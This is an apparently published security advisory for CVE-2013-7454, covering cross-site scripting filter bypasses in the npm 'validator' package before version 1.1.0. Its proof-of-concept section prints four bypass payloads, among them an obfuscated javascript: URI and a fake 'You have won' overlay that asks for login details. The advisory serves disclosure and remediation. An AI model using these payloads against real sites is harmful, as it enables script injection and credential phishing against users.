---
title: "GHSA-q4qq-fm7q-cwp5: Multiple XSS Filter Bypasses in validator"
description: "Moderate severity. Multiple XSS Filter Bypasses in validator. Affects validator; fixed in 1.1.0."
url: https://inlinr.com/advisories/GHSA-q4qq-fm7q-cwp5
lang: en
---

[Packages](https://inlinr.com/packages) / [validator](https://inlinr.com/packages/validator) / [Security](https://inlinr.com/packages/validator/security)

Moderate Vulnerability GHSA-q4qq-fm7q-cwp5 CVE-2013-7454 Published 24 Oct 2017

# Multiple XSS Filter Bypasses in validator

Your version 

Affected releases · [validator](https://inlinr.com/packages/validator)

- 1.x 1.0.0 Fixed in 1.1.0
- 0.5.x and older 0.1.0 – 0.5.0 No fix, no longer updated

On 1.x, the newest line:

```
npm install validator@1.1.0
```

Every release on a timeline

13.x 

1. Not affected

13.0.0 – 13.15.35  
19 releases, latest

1.x 

1. Affected

1.0.0  
1 release
2. Fixed

1.1.0 – 1.5.1  
11 releases

0.x 

1. Affected

0.1.0 – 0.5.0  
57 releases

215 stable releases of validator, oldest to newest, one row per major.

## What happens

Versions of `validator` prior to 1.1.0 are affected by several cross-site scripting vulnerabilities due to bypasses discovered in the blacklist-based filter.

Proof of Concept

Various inputs that could bypass the filter were discovered:

Improper parsing of nested tags:

```
<s <onmouseover="alert(1)"> <;s onmouseover="alert(1)">This is a test</s>
```

Incomplete filtering of javascript: URIs:

```
<a href="javascriptJ a V a S c R iPt::alert(1)" "<s>">test</a>
```

UI Redressing:

```
<div style="z-index: 9999999; background-color: green; width: 100%; height: 100%">
<h1>You have won</h1>Please click the link and enter your login details:
<a href="http://example.com/">http://good.com</a>
</div>
```

Bypass via Nested Forbidden Strings:

```
<scrRedirecRedirect 302t 302ipt type="text/javascript">prompt(1);</scrRedirecRedirect 302t 302ipt>
```

Additional bypasses were discovered by Krzysztof Kotowicz in 2012 when auditing CodeIgniter's XSS filtering function, which this code was based off of.

Recommendation

If you are a developer currently using the xss filter function from the validator package, you should consider replacing it with the escape filter function from the same package. This function replaces all instances of angle brackets (<, >), ampersands, and quotation marks, so no HTML tags will be processed.

## How it is exploited

Exploitable over the network, with no account and a user to do something.

- **Confidentiality**: low
- **Integrity**: low
- **Availability**: none

CVSS:3.0/​AV:N/​AC:L/​PR:N/​UI:R/​S:C/​C:L/​I:L/​A:N

## References

- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2013-7454 "https://nvd.nist.gov/vuln/detail/CVE-2013-7454")  
nvd.nist.gov/vuln/detail/CVE-2013-7454
- [GitHub advisory](https://github.com/advisories/GHSA-q4qq-fm7q-cwp5 "https://github.com/advisories/GHSA-q4qq-fm7q-cwp5")  
github.com/advisories/GHSA-q4qq-fm7q-cwp5
- [Reference](https://nealpoole.com/blog/2013/07/xss-filter-bypass-in-validator-nodejs-module "https://nealpoole.com/blog/2013/07/xss-filter-bypass-in-validator-nodejs-module")  
nealpoole.com/blog/2013/07/xss-filter-bypass-in…
- [Reference](https://www.npmjs.com/advisories/41 "https://www.npmjs.com/advisories/41")  
npmjs.com/advisories/41
- [Reference](http://blog.kotowicz.net/2012/07/codeigniter-210-xssclean-cross-site.html "http://blog.kotowicz.net/2012/07/codeigniter-210-xssclean-cross-site.html")  
blog.kotowicz.net/2012/07/codeigniter-210-xsscl…
- [Reference](http://www.openwall.com/lists/oss-security/2016/04/20/11 "http://www.openwall.com/lists/oss-security/2016/04/20/11")  
openwall.com/lists/oss-security/2016/04/20/11